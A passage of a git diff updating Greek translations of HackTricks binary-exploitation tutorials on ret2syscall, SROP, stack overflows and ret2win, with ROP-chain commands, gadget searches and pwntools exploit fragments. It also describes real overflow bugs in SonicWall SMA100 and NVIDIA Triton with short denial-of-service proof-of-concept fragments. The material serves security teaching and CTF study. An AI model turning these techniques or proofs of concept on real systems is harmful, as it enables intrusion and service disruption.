arguments passed` - `rdx: 0 specify no environment variables passed` -Έτσι, βασικά χρειάζεται να γράψουμε τη συμβολοσειρά `/bin/sh` κάπου και στη συνέχεια να εκτελέσουμε το `syscall` (έχοντας υπόψη την padding που χρειάζεται για τον έλεγχο της στοίβας). Για αυτό, χρειαζόμαστε ένα gadget για να γράψουμε το `/bin/sh` σε μια γνωστή περιοχή. +Έτσι, βασικά χρειάζεται να γράψουμε τη συμβολοσειρά `/bin/sh` κάπου και στη συνέχεια να εκτελέσουμε το `syscall` (έχοντας υπόψη την padding που απαιτείται για τον έλεγχο της στοίβας). Για αυτό, χρειαζόμαστε ένα gadget για να γράψουμε το `/bin/sh` σε μια γνωστή περιοχή. > [!TIP] > Ένα άλλο ενδιαφέρον syscall για κλήση είναι το **`mprotect`** το οποίο θα επέτρεπε σε έναν επιτιθέμενο να **τροποποιήσει τις άδειες μιας σελίδας στη μνήμη**. Αυτό μπορεί να συνδυαστεί με [**ret2shellcode**](../../stack-overflow/stack-shellcode/index.html). @@ -52,7 +52,7 @@ mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx ``` ### Αυτοματοποίηση αλυσίδας ROP -Η παρακάτω εντολή δημιουργεί μια πλήρη αλυσίδα ROP `sys_execve` δεδομένου ενός στατικού δυαδικού αρχείου όταν υπάρχουν gadgets write-what-where και εντολές syscall: +Η παρακάτω εντολή δημιουργεί μια πλήρη αλυσίδα ROP `sys_execve` δεδομένου ενός στατικού δυαδικού αρχείου όταν υπάρχουν gadgets write-what-where και οδηγίες syscall: ```bash ROPgadget --binary vuln --ropchain ``` @@ -98,6 +98,7 @@ rop += writeGadget #Address to: mov qword ptr [rax], rdx Αν **λείπουν gadgets**, για παράδειγμα για να γράψετε `/bin/sh` στη μνήμη, μπορείτε να χρησιμοποιήσετε την **τεχνική SROP για να ελέγξετε όλες τις τιμές των καταχωρητών** (συμπεριλαμβανομένων των RIP και των καταχωρητών παραμέτρων) από τη στοίβα: + {{#ref}} ../srop-sigreturn-oriented-programming/ {{#endref}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md index d95bccd26..c25d5a706 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md +++ b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md @@ -39,7 +39,7 @@ clang -o ret2win ret2win.c -fno-stack-protector ``` ## Gadgets -Για να προετοιμάσετε την κλήση για το **syscall**, απαιτείται η εξής διαμόρφωση: +Για να προετοιμαστεί η κλήση για το **syscall** απαιτείται η εξής διαμόρφωση: - `x8: 221 Specify sys_execve` - `x0: ptr to "/bin/sh" specify file to execute` @@ -66,9 +66,9 @@ svc #0 Με τα προηγούμενα gadgets μπορούμε να ελέγξουμε όλους τους απαραίτητους καταχωρητές από τη στοίβα και να χρησιμοποιήσουμε το x5 για να μεταβούμε στο δεύτερο gadget για να καλέσουμε το syscall. > [!TIP] -> Σημειώστε ότι η γνώση αυτής της πληροφορίας από τη βιβλιοθήκη libc επιτρέπει επίσης την εκτέλεση μιας επίθεσης ret2libc, αλλά ας το χρησιμοποιήσουμε για αυτό το τρέχον παράδειγμα. +> Σημειώστε ότι η γνώση αυτής της πληροφορίας από τη βιβλιοθήκη libc επιτρέπει επίσης να γίνει μια επίθεση ret2libc, αλλά ας τη χρησιμοποιήσουμε για αυτό το τρέχον παράδειγμα. -### Εκμετάλλευση +### Exploit ```python from pwn import * diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md index 28f66bde0..7b9cc8e0d 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md @@ -6,20 +6,21 @@ **`Sigreturn`** είναι μια ειδική **syscall** που χρησιμοποιείται κυρίως για να καθαρίσει μετά την ολοκλήρωση της εκτέλεσης ενός χειριστή σήματος. Τα σήματα είναι διακοπές που αποστέλλονται σε ένα πρόγραμμα από το λειτουργικό σύστημα, συχνά για να υποδείξουν ότι έχει συμβεί κάποια εξαιρετική κατάσταση. Όταν ένα πρόγραμμα λαμβάνει ένα σήμα, σταματά προσωρινά την τρέχουσα εργασία του για να χειριστεί το σήμα με έναν **χειριστή σήματος**, μια ειδική συνάρτηση σχεδιασμένη να ασχολείται με τα σήματα. -Αφού ο χειριστής σήματος ολοκληρώσει, το πρόγραμμα πρέπει να **επανέλθει στην προηγούμενη κατάσταση** του σαν να μην είχε συμβεί τίποτα. Εδώ έρχεται στο παιχνίδι το **`sigreturn`**. Βοηθά το πρόγραμμα να **επιστρέψει από τον χειριστή σήματος** και αποκαθιστά την κατάσταση του προγράμματος καθαρίζοντας το stack frame (την ενότητα μνήμης που αποθηκεύει κλήσεις συναρτήσεων και τοπικές μεταβλητές) που χρησιμοποιήθηκε από τον χειριστή σήματος. +Αφού ο χειριστής σήματος ολοκληρωθεί, το πρόγραμμα πρέπει να **επανέλθει στην προηγούμενη κατάσταση** του σαν να μην είχε συμβεί τίποτα. Εδώ έρχεται στο παιχνίδι το **`sigreturn`**. Βοηθά το πρόγραμμα να **επιστρέψει από τον χειριστή σήματος** και αποκαθιστά την κατάσταση του προγράμματος καθαρίζοντας το πλαίσιο στοίβας (το τμήμα μνήμης που αποθηκεύει κλήσεις συναρτήσεων και τοπικές μεταβλητές) που χρησιμοποιήθηκε από τον χειριστή σήματος. -Το ενδιαφέρον μέρος είναι πώς το **`sigreturn`** αποκαθιστά την κατάσταση του προγράμματος: το κάνει αποθηκεύοντας **όλες τις τιμές των καταχωρητών της CPU στο stack.** Όταν το σήμα δεν είναι πλέον αποκλεισμένο, **`sigreturn` αφαιρεί αυτές τις τιμές από το stack**, επαναφέροντας αποτελεσματικά τους καταχωρητές της CPU στην κατάσταση πριν από την επεξεργασία του σήματος. Αυτό περιλαμβάνει τον καταχωρητή δείκτη stack (RSP), ο οποίος δείχνει στην τρέχουσα κορυφή του stack. +Το ενδιαφέρον είναι πώς το **`sigreturn`** αποκαθιστά την κατάσταση του προγράμματος: το κάνει αποθηκεύοντας **όλες τις τιμές των καταχωρητών της CPU στη στοίβα.** Όταν το σήμα δεν είναι πλέον αποκλεισμένο, **`sigreturn` αφαιρεί αυτές τις τιμές από τη στοίβα**, επαναφέροντας αποτελεσματικά τους καταχωρητές της CPU στην κατάσταση τους πριν από την επεξεργασία του σήματος. Αυτό περιλαμβάνει τον καταχωρητή δείκτη στοίβας (RSP), ο οποίος δείχνει στην τρέχουσα κορυφή της στοίβας. > [!CAUTION] -> Η κλήση της syscall **`sigreturn`** από μια αλυσίδα ROP και **η προσθήκη των τιμών καταχωρητών** που θα θέλαμε να φορτώσει στο **stack** είναι δυνατή για να **ελέγξουμε** όλες τις τιμές καταχωρητών και επομένως να **καλέσουμε** για παράδειγμα τη syscall `execve` με `/bin/sh`. +> Η κλήση της syscall **`sigreturn`** από μια αλυσίδα ROP και **η προσθήκη των τιμών καταχωρητών** που θα θέλαμε να φορτώσει στη **στοίβα** είναι δυνατή για να **ελέγξουμε** όλες τις τιμές καταχωρητών και επομένως να **καλέσουμε** για παράδειγμα τη syscall `execve` με `/bin/sh`. + +Σημειώστε πώς αυτό θα ήταν μια **μορφή Ret2syscall** που διευκολύνει πολύ τον έλεγχο των παραμέτρων για να καλέσουμε άλλες Ret2syscalls: -Σημειώστε πώς αυτό θα ήταν μια **τύπου Ret2syscall** που διευκολύνει πολύ τον έλεγχο των παραμέτρων για να καλέσουμε άλλες Ret2syscalls: {{#ref}} ../rop-syscall-execv/ {{#endref}} -Αν είστε περίεργοι, αυτή είναι η **δομή sigcontext** που αποθηκεύεται στο stack για να ανακτηθούν αργότερα οι τιμές (διάγραμμα από [**εδώ**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)): +Αν σας ενδιαφέρει, αυτή είναι η **δομή sigcontext** που αποθηκεύεται στη στοίβα για να ανακτηθούν αργότερα οι τιμές (διάγραμμα από [**εδώ**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)): ``` +--------------------+--------------------+ | rt_sigeturn() | uc_flags | @@ -128,14 +129,14 @@ target.interactive() - [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared) - [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop) - [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html) -- Assembly binary που επιτρέπει να **γραφεί στη στοίβα** και στη συνέχεια καλεί την **`sigreturn`** syscall. Είναι δυνατόν να γραφεί στη στοίβα ένα [**ret2syscall**](../rop-syscall-execv/index.html) μέσω μιας δομής **sigreturn** και να διαβαστεί η σημαία που βρίσκεται στη μνήμη του binary. +- Assembly binary που επιτρέπει να **γραφεί στη στοίβα** και στη συνέχεια καλεί το **`sigreturn`** syscall. Είναι δυνατόν να γραφτεί στη στοίβα ένα [**ret2syscall**](../rop-syscall-execv/index.html) μέσω μιας δομής **sigreturn** και να διαβαστεί η σημαία που βρίσκεται στη μνήμη του binary. - [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) -- Assembly binary που επιτρέπει να **γραφεί στη στοίβα** και στη συνέχεια καλεί την **`sigreturn`** syscall. Είναι δυνατόν να γραφεί στη στοίβα ένα [**ret2syscall**](../rop-syscall-execv/index.html) μέσω μιας δομής **sigreturn** (το binary έχει τη συμβολοσειρά `/bin/sh`). +- Assembly binary που επιτρέπει να **γραφεί στη στοίβα** και στη συνέχεια καλεί το **`sigreturn`** syscall. Είναι δυνατόν να γραφτεί στη στοίβα ένα [**ret2syscall**](../rop-syscall-execv/index.html) μέσω μιας δομής **sigreturn** (το binary έχει τη συμβολοσειρά `/bin/sh`). - [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html) -- 64 bits, no relro, no canary, nx, no pie. Απλή υπερχείλιση buffer που εκμεταλλεύεται τη λειτουργία `gets` με έλλειψη gadgets που εκτελεί ένα [**ret2syscall**](../rop-syscall-execv/index.html). Η αλυσίδα ROP γράφει `/bin/sh` στο `.bss` καλώντας ξανά το gets, εκμεταλλεύεται τη λειτουργία **`alarm`** για να ορίσει το eax σε `0xf` για να καλέσει ένα **SROP** και να εκτελέσει ένα shell. +- 64 bits, χωρίς relro, χωρίς canary, nx, χωρίς pie. Απλή υπερχείλιση buffer που εκμεταλλεύεται τη λειτουργία `gets` με έλλειψη gadgets που εκτελεί ένα [**ret2syscall**](../rop-syscall-execv/index.html). Η αλυσίδα ROP γράφει `/bin/sh` στο `.bss` καλώντας ξανά το gets, εκμεταλλεύεται τη λειτουργία **`alarm`** για να ορίσει το eax σε `0xf` για να καλέσει ένα **SROP** και να εκτελέσει ένα shell. - [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html) -- 64 bits assembly πρόγραμμα, no relro, no canary, nx, no pie. Η ροή επιτρέπει να γραφεί στη στοίβα, να ελεγχθούν αρκετοί καταχωρητές και να κληθεί μια syscall και στη συνέχεια καλεί `exit`. Η επιλεγμένη syscall είναι μια `sigreturn` που θα ορίσει τους καταχωρητές και θα μετακινήσει το `eip` για να καλέσει μια προηγούμενη εντολή syscall και να εκτελέσει το `memprotect` για να ορίσει τον χώρο του binary σε `rwx` και να ορίσει το ESP στον χώρο του binary. Ακολουθώντας τη ροή, το πρόγραμμα θα καλέσει ξανά το read intro ESP, αλλά σε αυτή την περίπτωση το ESP θα δείχνει στην επόμενη εντολή, έτσι ώστε η μεταφορά ενός shellcode να το γράψει ως την επόμενη εντολή και να το εκτελέσει. +- 64 bits assembly πρόγραμμα, χωρίς relro, χωρίς canary, nx, χωρίς pie. Η ροή επιτρέπει να γραφεί στη στοίβα, να ελεγχθούν αρκετοί καταχωρητές και να κληθεί ένα syscall και στη συνέχεια καλεί `exit`. Το επιλεγμένο syscall είναι ένα `sigreturn` που θα ορίσει τους καταχωρητές και θα μετακινήσει το `eip` για να καλέσει μια προηγούμενη εντολή syscall και να εκτελέσει το `memprotect` για να ορίσει τον χώρο του binary σε `rwx` και να ορίσει το ESP στον χώρο του binary. Ακολουθώντας τη ροή, το πρόγραμμα θα καλέσει ξανά το read intro ESP, αλλά σε αυτή την περίπτωση το ESP θα δείχνει στην επόμενη εντολή, έτσι ώστε η μεταφορά ενός shellcode να το γράψει ως την επόμενη εντολή και να το εκτελέσει. - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection) -- SROP χρησιμοποιείται για να δώσει δικαιώματα εκτέλεσης (memprotect) στο σημείο όπου το shellcode τοποθετήθηκε. +- Το SROP χρησιμοποιείται για να δώσει δικαιώματα εκτέλεσης (memprotect) στο σημείο όπου το shellcode τοποθετήθηκε. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md index 4dc5abe27..dafa8109b 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md +++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md @@ -74,7 +74,7 @@ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR ``` ## Εκμετάλλευση -Η εκμετάλλευση εκμεταλλεύεται το bof για να επιστρέψει στην κλήση του **`sigreturn`** και να προετοιμάσει τη στοίβα για να καλέσει το **`execve`** με έναν δείκτη στο `/bin/sh`. +Η εκμετάλλευση εκμεταλλεύεται το bof για να επιστρέψει στην κλήση του **`sigreturn`** και να προετοιμάσει τη στοίβα για να καλέσει το **`execve`** με έναν δείκτη προς το `/bin/sh`. ```python from pwn import * @@ -136,7 +136,7 @@ return 0;
-Επομένως, αν διαρρεύσει, είναι δυνατόν να **χρησιμοποιηθεί αυτή η διεύθυνση για να αποκτήσετε πρόσβαση σε ένα `sigreturn`** αν το δυαδικό αρχείο δεν το φορτώνει: +Επομένως, αν διαρρεύσει, είναι δυνατόν να **χρησιμοποιηθεί αυτή η διεύθυνση για να αποκτηθεί πρόσβαση σε ένα `sigreturn`** αν το δυαδικό δεν το φορτώνει: ```python from pwn import * @@ -189,7 +189,7 @@ python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/nul # With rp++ ≥ 1.0.9 (arm64 support) rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b" # 0x8b = __NR_rt_sigreturn ``` -Και τα δύο εργαλεία κατανοούν **AArch64** κωδικοποιήσεις και θα παραθέσουν υποψήφιες ακολουθίες `mov x8, 0x8b ; svc #0` που μπορούν να χρησιμοποιηθούν ως *SROP gadget*. +Και τα δύο εργαλεία κατανοούν τις κωδικοποιήσεις **AArch64** και θα παραθέσουν υποψήφιες ακολουθίες `mov x8, 0x8b ; svc #0` που μπορούν να χρησιμοποιηθούν ως *SROP gadget*. > Σημείωση: Όταν οι δυαδικοί κώδικες είναι συμπιεσμένοι με **BTI**, η πρώτη εντολή κάθε έγκυρου στόχου έμμεσης κλάσης είναι `bti c`. Οι τραμπόλινες `sigreturn` που τοποθετούνται από τον σύνδεσμο περιλαμβάνουν ήδη την σωστή πλατφόρμα προσγείωσης BTI, έτσι ώστε το gadget να παραμένει χρησιμοποιήσιμο από μη προνομιούχο κώδικα. @@ -209,7 +209,7 @@ frame.pc = svc_call # will re-enter kernel ## Έλεγχος του πυρήνα, PAC & Shadow-Stacks -Το Linux 5.16 εισήγαγε αυστηρότερο έλεγχο των πλαισίων σήματος του χρήστη (commit `36f5a6c73096`). Ο πυρήνας τώρα ελέγχει: +Το Linux 5.16 εισήγαγε αυστηρότερους ελέγχους των πλαισίων σήματος του χρήστη (commit `36f5a6c73096`). Ο πυρήνας τώρα ελέγχει: * `uc_flags` πρέπει να περιέχει `UC_FP_XSTATE` όταν υπάρχει `extra_context`. * Η δεσμευμένη λέξη στη `struct rt_sigframe` πρέπει να είναι μηδέν. diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index 4c4d07d44..6886f0a20 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -4,13 +4,13 @@ ## Τι είναι το Stack Overflow -Ένα **stack overflow** είναι μια ευπάθεια που συμβαίνει όταν ένα πρόγραμμα γράφει περισσότερα δεδομένα στο stack από όσα έχει εκχωρηθεί να κρατήσει. Αυτά τα επιπλέον δεδομένα θα **επικαλύψουν τον γειτονικό χώρο μνήμης**, οδηγώντας στη διαφθορά έγκυρων δεδομένων, διαταραχή της ροής ελέγχου και ενδεχομένως την εκτέλεση κακόβουλου κώδικα. Αυτό το ζήτημα προκύπτει συχνά λόγω της χρήσης μη ασφαλών συναρτήσεων που δεν εκτελούν έλεγχο ορίων στην είσοδο. +Ένα **stack overflow** είναι μια ευπάθεια που συμβαίνει όταν ένα πρόγραμμα γράφει περισσότερα δεδομένα στο stack από όσα έχει εκχωρηθεί να κρατήσει. Αυτά τα επιπλέον δεδομένα θα **επικαλύψουν γειτονικό χώρο μνήμης**, οδηγώντας σε διαφθορά έγκυρων δεδομένων, διαταραχή της ροής ελέγχου και ενδεχομένως την εκτέλεση κακόβουλου κώδικα. Αυτό το ζήτημα προκύπτει συχνά λόγω της χρήσης μη ασφαλών συναρτήσεων που δεν εκτελούν έλεγχο ορίων στην είσοδο. Το κύριο πρόβλημα αυτής της επικαλύψεως είναι ότι ο **αποθηκευμένος δείκτης εντολών (EIP/RIP)** και ο **αποθηκευμένος δείκτης βάσης (EBP/RBP)** για να επιστρέψει στην προηγούμενη συνάρτηση είναι **αποθηκευμένα στο stack**. Επομένως, ένας επιτιθέμενος θα είναι σε θέση να τα επικαλύψει και να **ελέγξει τη ροή εκτέλεσης του προγράμματος**. Η ευπάθεια συνήθως προκύπτει επειδή μια συνάρτηση **αντιγράφει στο stack περισσότερα bytes από την ποσότητα που έχει εκχωρηθεί γι' αυτήν**, επομένως μπορεί να επικαλύψει άλλα μέρη του stack. -Ορισμένες κοινές συναρτήσεις που είναι ευάλωτες σε αυτό είναι: **`strcpy`, `strcat`, `sprintf`, `gets`**... Επίσης, συναρτήσεις όπως **`fgets`**, **`read` & `memcpy`** που δέχονται ένα **όρισμα μήκους**, μπορεί να χρησιμοποιηθούν με ευάλωτο τρόπο αν το καθορισμένο μήκος είναι μεγαλύτερο από το εκχωρηθέν. +Ορισμένες κοινές συναρτήσεις που είναι ευάλωτες σε αυτό είναι: **`strcpy`, `strcat`, `sprintf`, `gets`**... Επίσης, συναρτήσεις όπως **`fgets`**, **`read` & `memcpy`** που δέχονται ένα **όρισμα μήκους**, μπορεί να χρησιμοποιηθούν με ευάλωτο τρόπο αν το καθορισμένο μήκος είναι μεγαλύτερο από το εκχωρημένο. Για παράδειγμα, οι παρακάτω συναρτήσεις θα μπορούσαν να είναι ευάλωτες: ```c @@ -27,7 +27,7 @@ printf("You entered: %s\n", buffer); Επιπλέον, μόλις βρείτε ότι υπάρχει ευπάθεια Stack Overflow, θα χρειαστεί να βρείτε το offset μέχρι να είναι δυνατό να **επικαλύψετε τη διεύθυνση επιστροφής**, για αυτό συνήθως χρησιμοποιείται μια **ακολουθία De Bruijn.** Η οποία για ένα δεδομένο αλφάβητο μεγέθους _k_ και υποακολουθίες μήκους _n_ είναι μια **κυκλική ακολουθία στην οποία κάθε δυνατή υποακολουθία μήκους _n_ εμφανίζεται ακριβώς μία φορά** ως συνεχής υποακολουθία. -Με αυτόν τον τρόπο, αντί να χρειάζεται να καταλάβετε ποιο offset είναι απαραίτητο για να ελέγξετε το EIP με το χέρι, είναι δυνατό να χρησιμοποιήσετε ως padding μία από αυτές τις ακολουθίες και στη συνέχεια να βρείτε το offset των byte που τελείωσαν επικαλύπτοντάς το. +Με αυτόν τον τρόπο, αντί να χρειάζεται να καταλάβετε ποιο offset είναι απαραίτητο για να ελέγξετε το EIP με το χέρι, είναι δυνατό να χρησιμοποιήσετε ως padding μία από αυτές τις ακολουθίες και στη συνέχεια να βρείτε το offset των byte που κατέληξαν να την επικαλύψουν. Είναι δυνατό να χρησιμοποιήσετε **pwntools** για αυτό: ```python @@ -51,13 +51,13 @@ pattern search $rsp #Search the offset given the content of $rsp ## Εκμετάλλευση Στοίβας Υπερχείλισης Κατά τη διάρκεια μιας υπερχείλισης (υποθέτοντας ότι το μέγεθος της υπερχείλισης είναι αρκετά μεγάλο) θα είστε σε θέση να **επικαλύψετε** τις τιμές των τοπικών μεταβλητών μέσα στη στοίβα μέχρι να φτάσετε στο αποθηκευμένο **EBP/RBP και EIP/RIP (ή ακόμα περισσότερα)**.\ -Ο πιο κοινός τρόπος για να εκμεταλλευτείτε αυτόν τον τύπο ευπάθειας είναι να **τροποποιήσετε τη διεύθυνση επιστροφής** έτσι ώστε όταν η συνάρτηση τελειώσει, η **ροή ελέγχου θα ανακατευθυνθεί όπου έχει καθορίσει ο χρήστης** σε αυτόν τον δείκτη. +Ο πιο κοινός τρόπος για να εκμεταλλευτείτε αυτόν τον τύπο ευπάθειας είναι να **τροποποιήσετε τη διεύθυνση επιστροφής** έτσι ώστε όταν η συνάρτηση τελειώσει, η **ροή ελέγχου να ανακατευθυνθεί όπου ο χρήστης καθόρισε** σε αυτόν τον δείκτη. -Ωστόσο, σε άλλα σενάρια, ίσως απλά **η επικαλύψη ορισμένων τιμών μεταβλητών στη στοίβα** να είναι αρκετή για την εκμετάλλευση (όπως σε εύκολες προκλήσεις CTF). +Ωστόσο, σε άλλα σενάρια, ίσως απλά **η επικαλύψη κάποιων τιμών μεταβλητών στη στοίβα** να είναι αρκετή για την εκμετάλλευση (όπως σε εύκολες προκλήσεις CTF). ### Ret2win -Σε αυτούς τους τύπους προκλήσεων CTF, υπάρχει μια **συνάρτηση** **μέσα** στο δυαδικό αρχείο που **ποτέ δεν καλείται** και που **πρέπει να καλέσετε για να κερδίσετε**. Για αυτές τις προκλήσεις χρειάζεται απλώς να βρείτε την **απόσταση για να επικαλύψετε τη διεύθυνση επιστροφής** και **να βρείτε τη διεύθυνση της συνάρτησης** που θα καλέσετε (συνήθως [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) θα είναι απενεργοποιημένο) έτσι ώστε όταν η ευάλωτη συνάρτηση επιστρέψει, η κρυφή συνάρτηση θα κληθεί: +Σε αυτούς τους τύπους προκλήσεων CTF, υπάρχει μια **συνάρτηση** **μέσα** στο δυαδικό που **ποτέ δεν καλείται** και που **πρέπει να καλέσετε για να κερδίσετε**. Για αυτές τις προκλήσεις χρειάζεται απλώς να βρείτε την **απόσταση για να επικαλύψετε τη διεύθυνση επιστροφής** και **να βρείτε τη διεύθυνση της συνάρτησης** που θα καλέσετε (συνήθως [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) θα είναι απενεργοποιημένο) έτσι ώστε όταν η ευάλωτη συνάρτηση επιστρέψει, η κρυφή συνάρτηση θα κληθεί: {{#ref}} ret2win/ @@ -73,7 +73,7 @@ stack-shellcode/ ### ROP & Ret2... τεχνικές -Αυτή η τεχνική είναι το θεμελιώδες πλαίσιο για να παρακάμψει την κύρια προστασία της προηγούμενης τεχνικής: **Μη εκτελέσιμη στοίβα (NX)**. Και επιτρέπει την εκτέλεση αρκετών άλλων τεχνικών (ret2lib, ret2syscall...) που θα καταλήξουν να εκτελούν αυθαίρετες εντολές εκμεταλλευόμενοι υπάρχουσες εντολές στο δυαδικό αρχείο: +Αυτή η τεχνική είναι το θεμελιώδες πλαίσιο για να παρακάμψει την κύρια προστασία της προηγούμενης τεχνικής: **Μη εκτελέσιμη στοίβα (NX)**. Και επιτρέπει την εκτέλεση αρκετών άλλων τεχνικών (ret2lib, ret2syscall...) που θα καταλήξουν να εκτελούν αυθαίρετες εντολές εκμεταλλευόμενοι υπάρχουσες εντολές στο δυαδικό: {{#ref}} ../rop-return-oriented-programing/ @@ -95,9 +95,9 @@ stack-shellcode/ ../common-binary-protections-and-bypasses/ {{#endref}} -### Παράδειγμα Πραγματικού Κόσμου: CVE-2025-40596 (SonicWall SMA100) +### Πραγματικό Παράδειγμα: CVE-2025-40596 (SonicWall SMA100) -Μια καλή επίδειξη του γιατί **`sscanf` δεν θα πρέπει ποτέ να εμπιστεύεστε για την ανάλυση μη αξιόπιστης εισόδου** εμφανίστηκε το 2025 στη συσκευή SSL-VPN SMA100 της SonicWall. +Μια καλή επίδειξη του γιατί **`sscanf` δεν πρέπει ποτέ να εμπιστεύεστε για την ανάλυση μη αξιόπιστης εισόδου** εμφανίστηκε το 2025 στη συσκευή SSL-VPN SMA100 της SonicWall. Η ευάλωτη ρουτίνα μέσα στο `/usr/src/EasyAccess/bin/httpd` προσπαθεί να εξαγάγει την έκδοση και το σημείο πρόσβασης από οποιοδήποτε URI που αρχίζει με `/__api__/`: ```c char version[3]; @@ -106,7 +106,7 @@ char endpoint[0x800] = {0}; sscanf(uri, "%*[^/]/%2s/%s", version, endpoint); ``` 1. Η πρώτη μετατροπή (`%2s`) αποθηκεύει με ασφάλεια **δύο** bytes στο `version` (π.χ. `"v1"`). -2. Η δεύτερη μετατροπή (`%s`) **δεν έχει καθοριστή μήκους**, επομένως το `sscanf` θα συνεχίσει να αντιγράφει **μέχρι το πρώτο NUL byte**. +2. Η δεύτερη μετατροπή (`%s`) **δεν έχει καθοριστή μήκους**, επομένως το `sscanf` θα συνεχίσει να αντιγράφει **μέχρι το πρώτο byte NUL**. 3. Επειδή το `endpoint` βρίσκεται στη **στοίβα** και έχει μήκος **0x800 bytes**, η παροχή ενός μονοπατιού μεγαλύτερου από 0x800 bytes διαφθείρει τα πάντα που βρίσκονται μετά το buffer ‑ συμπεριλαμβανομένου του **stack canary** και της **αποθηκευμένης διεύθυνσης επιστροφής**. Μια απόδειξη-έννοια μίας γραμμής είναι αρκετή για να προκαλέσει την κατάρρευση **πριν από την αυθεντικοποίηση**: @@ -118,7 +118,7 @@ requests.get(url, verify=False) ``` Ακόμα και αν οι stack canaries τερματίζουν τη διαδικασία, ένας επιτιθέμενος αποκτά μια **Denial-of-Service** πρωτοβουλία (και, με επιπλέον διαρροές πληροφοριών, πιθανώς εκτέλεση κώδικα). Το μάθημα είναι απλό: -* Πάντα να παρέχετε μια **μέγιστη πλάτος πεδίου** (π.χ. `%511s`). +* Πάντα να παρέχετε ένα **μέγιστο πλάτος πεδίου** (π.χ. `%511s`). * Προτιμήστε ασφαλέστερες εναλλακτικές όπως `snprintf`/`strncpy_s`. ### Πραγματικό Παράδειγμα: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server) @@ -135,8 +135,8 @@ alloca(sizeof(struct evbuffer_iovec) * n); } ``` 1. `evbuffer_peek` (libevent) επιστρέφει τον **αριθμό των εσωτερικών τμημάτων buffer** που συνθέτουν το τρέχον σώμα του HTTP request. -2. Κάθε τμήμα προκαλεί την κατανομή ενός **16-byte** `evbuffer_iovec` στη **στοίβα** μέσω `alloca()` – **χωρίς κανένα ανώτατο όριο**. -3. Εκμεταλλευόμενος το **HTTP _chunked transfer-encoding_**, ένας πελάτης μπορεί να αναγκάσει το αίτημα να διαχωριστεί σε **εκατοντάδες χιλιάδες τμήματα 6-byte** (`"1\r\nA\r\n"`). Αυτό καθιστά το `n` να αυξάνεται χωρίς όριο μέχρι να εξαντληθεί η στοίβα. +2. Κάθε τμήμα προκαλεί την κατανομή ενός **16-byte** `evbuffer_iovec` στη **στοίβα** μέσω του `alloca()` – **χωρίς κανένα ανώτατο όριο**. +3. Εκμεταλλευόμενος το **HTTP _chunked transfer-encoding_**, ένας πελάτης μπορεί να αναγκάσει το αίτημα να διαχωριστεί σε **εκατοντάδες χιλιάδες τμήματα των 6-byte** (`"1\r\nA\r\n"`). Αυτό καθιστά το `n` να αυξάνεται χωρίς όριο μέχρι να εξαντληθεί η στοίβα. #### Proof-of-Concept (DoS) ```python diff --git a/src/binary-exploitation/stack-overflow/ret2win/README.md b/src/binary-exploitation/stack-overflow/ret2win/README.md index 31a1ff8cf..246067211 100644 --- a/src/binary-exploitation/stack-overflow/ret2win/README.md +++ b/src/binary-exploitation/stack-overflow/ret2win/README.md @@ -4,11 +4,11 @@ ## Basic Information -Οι προκλήσεις **Ret2win** είναι μια δημοφιλής κατηγορία στους διαγωνισμούς **Capture The Flag (CTF)**, ιδιαίτερα σε εργασίες που περιλαμβάνουν **binary exploitation**. Ο στόχος είναι να εκμεταλλευτούμε μια ευπάθεια σε μια δεδομένη δυαδική μορφή για να εκτελέσουμε μια συγκεκριμένη, μη κληθείσα συνάρτηση μέσα στη δυαδική μορφή, συχνά ονομαζόμενη κάτι όπως `win`, `flag`, κ.λπ. Αυτή η συνάρτηση, όταν εκτελείται, συνήθως εκτυπώνει μια σημαία ή ένα μήνυμα επιτυχίας. Η πρόκληση περιλαμβάνει συνήθως την 